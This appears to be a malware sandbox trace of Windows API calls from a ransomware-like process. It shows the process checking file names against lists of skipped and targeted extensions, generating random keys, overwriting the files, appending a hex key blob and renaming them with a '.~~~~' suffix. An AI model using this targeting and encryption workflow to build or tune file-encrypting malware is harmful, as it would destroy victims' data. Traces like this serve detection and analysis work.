	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.169] lstrlenW (lpString=".db") returned 3
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.169] lstrlenW (lpString=".TXT") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.169] lstrlenW (lpString=".MDF") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.169] lstrlenW (lpString=".bdb") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.169] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.169] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.170] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.170] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.171] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20416104682) returned 1
	[0084.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c01d5b0, dwHighDateTime=0x1d60e1e)) 
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2678
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2678 | out: hHeap=0x300000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28081e0
	[0084.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0084.171] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.172] GetLastError () returned 0x0
	[0084.172] GetLastError () returned 0x0
	[0084.172] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.172] GetLastError () returned 0x0
	[0084.172] GetLastError () returned 0x0
	[0084.174] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff7e03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.174] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x81fd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x81fd, lpOverlapped=0x0) returned 1
	[0084.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.175] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.175] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.175] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.175] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.175] CloseHandle (hObject=0x120) returned 1
	[0084.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.~~~~")) returned 1
	[0084.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0084.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.207] GetLastError () returned 0x0
	[0084.207] RtlWakeConditionVariable () returned 0x365f70
	[0084.207] GetCurrentThreadId () returned 0x3a4
	[0084.207] GetCurrentThreadId () returned 0x3a4
	[0084.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7218 | out: hHeap=0x300000) returned 1
	[0084.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2720 | out: hHeap=0x300000) returned 1
	[0084.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7218
	[0084.208] lstrlenW (lpString=".scr") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.208] lstrlenW (lpString=".cmd") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.208] lstrlenW (lpString=".dll") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.208] lstrlenW (lpString=".bat") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.208] lstrlenW (lpString=".cpl") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.208] lstrlenW (lpString=".sys") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.208] lstrlenW (lpString=".msc") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.208] lstrlenW (lpString=".com") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.208] lstrlenW (lpString=".lnk") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.208] lstrlenW (lpString=".msp") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.208] lstrlenW (lpString=".pif") returned 4
	[0084.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.208] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.209] lstrlenW (lpString=".sqb") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.209] lstrlenW (lpString=".ost") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.209] lstrlenW (lpString=".txt") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.209] lstrlenW (lpString=".mdt") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.209] lstrlenW (lpString=".BDB") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.209] lstrlenW (lpString=".eql") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.209] lstrlenW (lpString=".DBF") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.209] lstrlenW (lpString=".EQL") returned 4
	[0084.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.209] lstrlenW (lpString=".FDB") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.210] lstrlenW (lpString=".EDB") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.210] lstrlenW (lpString=".DACPAC") returned 7
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.210] lstrlenW (lpString=".VHD") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.210] lstrlenW (lpString=".DBV") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.210] lstrlenW (lpString=".dacpac") returned 7
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.210] lstrlenW (lpString=".sdf") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.210] lstrlenW (lpString=".accdb") returned 6
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.210] lstrlenW (lpString=".DBX") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.210] lstrlenW (lpString=".MDT") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.210] lstrlenW (lpString=".SQB") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.210] lstrlenW (lpString=".vhd") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.210] lstrlenW (lpString=".bac") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.210] lstrlenW (lpString=".mdf") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.210] lstrlenW (lpString=".BAK") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.210] lstrlenW (lpString=".BAC") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.210] lstrlenW (lpString=".dbs") returned 4
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.210] lstrlenW (lpString=".vhdx") returned 5
	[0084.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.210] lstrlenW (lpString=".NDF") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.211] lstrlenW (lpString=".dat") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.211] lstrlenW (lpString=".DBS") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.211] lstrlenW (lpString=".CKP") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.211] lstrlenW (lpString=".edb") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.211] lstrlenW (lpString=".PST") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.211] lstrlenW (lpString=".dbf") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.211] lstrlenW (lpString=".SQL") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.211] lstrlenW (lpString=".pst") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.211] lstrlenW (lpString=".dbv") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.211] lstrlenW (lpString=".SDF") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.211] lstrlenW (lpString=".dtxs") returned 5
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.211] lstrlenW (lpString=".db3") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.211] lstrlenW (lpString=".OST") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.211] lstrlenW (lpString=".dbx") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.211] lstrlenW (lpString=".DB3") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.211] lstrlenW (lpString=".DAT") returned 4
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.211] lstrlenW (lpString=".VHDX") returned 5
	[0084.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.212] lstrlenW (lpString=".ndf") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.212] lstrlenW (lpString=".DB") returned 3
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.212] lstrlenW (lpString=".sql") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.212] lstrlenW (lpString=".MYD") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.212] lstrlenW (lpString=".DBT") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.212] lstrlenW (lpString=".ACCDB") returned 6
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.212] lstrlenW (lpString=".fdb") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.212] lstrlenW (lpString=".bak") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.212] lstrlenW (lpString=".myd") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.212] lstrlenW (lpString=".DTXS") returned 5
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.212] lstrlenW (lpString=".ckp") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.212] lstrlenW (lpString=".dbt") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.212] lstrlenW (lpString=".db") returned 3
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.212] lstrlenW (lpString=".TXT") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.212] lstrlenW (lpString=".MDF") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.212] lstrlenW (lpString=".bdb") returned 4
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.212] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.213] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.213] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.213] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.214] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20420378972) returned 1
	[0084.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c069870, dwHighDateTime=0x1d60e1e)) 
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2720
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2720 | out: hHeap=0x300000) returned 1
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
